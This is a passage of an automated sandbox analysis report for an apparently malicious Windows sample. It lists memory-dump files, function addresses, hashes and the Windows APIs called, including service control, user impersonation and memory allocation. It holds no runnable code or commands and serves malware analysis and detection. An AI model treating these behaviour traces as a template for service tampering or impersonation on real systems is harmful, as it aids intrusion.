Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: 94fdb41c69b36efdf44b8f34939894cf7a0406f6fc359cd976383393101085a0
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: BC3107F290C700DFE355AF29D88167AFBF5EF98320F16882DD6C583614E67488848B57

Function 00C6DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00C6DE68

Memory Dump Source

Source File: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction ID: bf14bac950ee3ec3fa6b1710f9bcdfa59f22f25f9ce89efdceb33f4a212066d9
Opcode Fuzzy Hash: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction Fuzzy Hash: 0E3137B250C300AFD305BF19D885A6EFBF9EF94721F06882DE6C483610D6355454CBA7

Function 053E0E07 Relevance: 1.6, APIs: 1, Instructions: 95
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,?,?), ref: 053E0EEA

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 650e57eedaadecf05066d6c65216c9d99d4c866f9294ed4416a88c23ecf635a7
Instruction ID: 24dfedbe46a7cdc881cf7347bc01acdb208f7c9deeca4ba2cb989481c1275145
Opcode Fuzzy Hash: 650e57eedaadecf05066d6c65216c9d99d4c866f9294ed4416a88c23ecf635a7
Instruction Fuzzy Hash: 7B4168B1D10668DFDB14CFA9C98979EBBF1BF48310F148129E859A7384C7B49842CF91

Function 053E0E10 Relevance: 1.6, APIs: 1, Instructions: 92
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,?,?), ref: 053E0EEA

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 706f1ed6f1e463588e21a43a5b5a2f37d0725e835c6d0f3e56796fd7deab6341
Instruction ID: 9a0fe9df8aa6929584ee89e232659bc957df42a752d4f145b06600b8e98b87ad
Opcode Fuzzy Hash: 706f1ed6f1e463588e21a43a5b5a2f37d0725e835c6d0f3e56796fd7deab6341
Instruction Fuzzy Hash: E53117B1D10668DFDB14CFA9C849B9EBBF1BB48310F148129E859A7384D7B49846CF91

Function 053E0D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 053E0DCD

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7aade79cbc6048c23bef3c22869b58a9028955942ea195e81a9ad4512ef32dcc
Instruction ID: a6d3c2a0d5551f0eb91cb2f6ea1ea97a0b4d3a6de26329b66c5cfa43a9143a73
Opcode Fuzzy Hash: 7aade79cbc6048c23bef3c22869b58a9028955942ea195e81a9ad4512ef32dcc
Instruction Fuzzy Hash: DF2107B6C012189FCB54CF99D884BDEFBF4FB88310F15851AD809BB244D7B4A544CBA4

Function 053E0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 053E0DCD

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: d0f4f5a3f05501c6e4b7d08c8c2fbc56374e8f2ca67a039c4ee77f7fe352c649
Instruction ID: b1c9dc4f484f225139e5901cba0ef02f7bb460bb5fb9932a79fd220197de7b75
Opcode Fuzzy Hash: d0f4f5a3f05501c6e4b7d08c8c2fbc56374e8f2ca67a039c4ee77f7fe352c649
Instruction Fuzzy Hash: 812115B6C012189FCB54CF99D884BDEFBF4FB88320F14851AD809BB244D7B4A544CBA4

Function 053E1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 053E1580

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 6c6f2914b592f2ec451192a65a9e0a815590ecca5438c87ffa909c020a5c6900
Instruction ID: 08807f909243dd5098f56d3c401f8d24d3e34cc6f58209d144e212b6ab80c691
Opcode Fuzzy Hash: 6c6f2914b592f2ec451192a65a9e0a815590ecca5438c87ffa909c020a5c6900
Instruction Fuzzy Hash: 9B1114B1900249DFCB10CF9AC484BDEFBF4EB48320F10842AE559A3250D378A644CFA5

Function 053E1509 Relevance: 1.6, APIs: 1, Instructions: 53
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 053E1580

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 62ceed5c54a85b02e6d41e3b2ec6576ad210a5dc7c89066e07e3689319a6f72a
Instruction ID: fa284a2549d302e5c14d1424cb432d87b9799bc2be68ad486b4c11e95455ba7b
Opcode Fuzzy Hash: 62ceed5c54a85b02e6d41e3b2ec6576ad210a5dc7c89066e07e3689319a6f72a
Instruction Fuzzy Hash: 2A2126B5D00249CFCB10CF9AC584BDEFBF4BB48324F14842AE459A7250D378A644CFA5

Function 053E1301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 053E1367

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: c235140b6e018eaa3daedf196fddd5b561c4aac9b188d1e4cef5272dc77ed974
Instruction ID: 75ceb0b8a2480c1f665bb3aa6b90fa59f82ed45fea200370191b9ffb9b9ace4a
Opcode Fuzzy Hash: c235140b6e018eaa3daedf196fddd5b561c4aac9b188d1e4cef5272dc77ed974
Instruction Fuzzy Hash: 921148B1800259CFDB10CF9AC545BDEFBF4EF48324F24846AD559A3650C778A944CFA5

Function 053E1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 053E1367

Memory Dump Source

Source File: 00000004.00000002.2177560467.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 01ba01687191272101dbf162c305a60141fd16482bb32b4a2093ff8367dfa137
Instruction ID: 09b9b5e32824463c72af1d339046d685218adfde8812632b059de032f472d6f0
Opcode Fuzzy Hash: 01ba01687191272101dbf162c305a60141fd16482bb32b4a2093ff8367dfa137
Instruction Fuzzy Hash: E51145B1800259CFDB10CF9AC444BDEFBF8EB48324F24842AD559A3650C778A984CFA5

Function 00C7BFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00C8047D

Memory Dump Source

Source File: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction ID: 422bb3cd8cbe7d29b5ddc96189591a9faff1cda9aa0868d1dc585fac053664da
Opcode Fuzzy Hash: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction Fuzzy Hash: 00F012B290C600EBD719AF29D84173EF3E8AB54710F16482D9BCA93790E6352C549A5A

Function 00AEE6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00AEF891

Memory Dump Source

Source File: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction ID: 5114399b0c32be4b7216d650414dc57fe692d49fae13247197a41734de9318d2
Opcode Fuzzy Hash: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction Fuzzy Hash: 3601FCBB51D24DCFD708EE2688081BDB7E5DFA6311F76423D956747B44FE3248115241

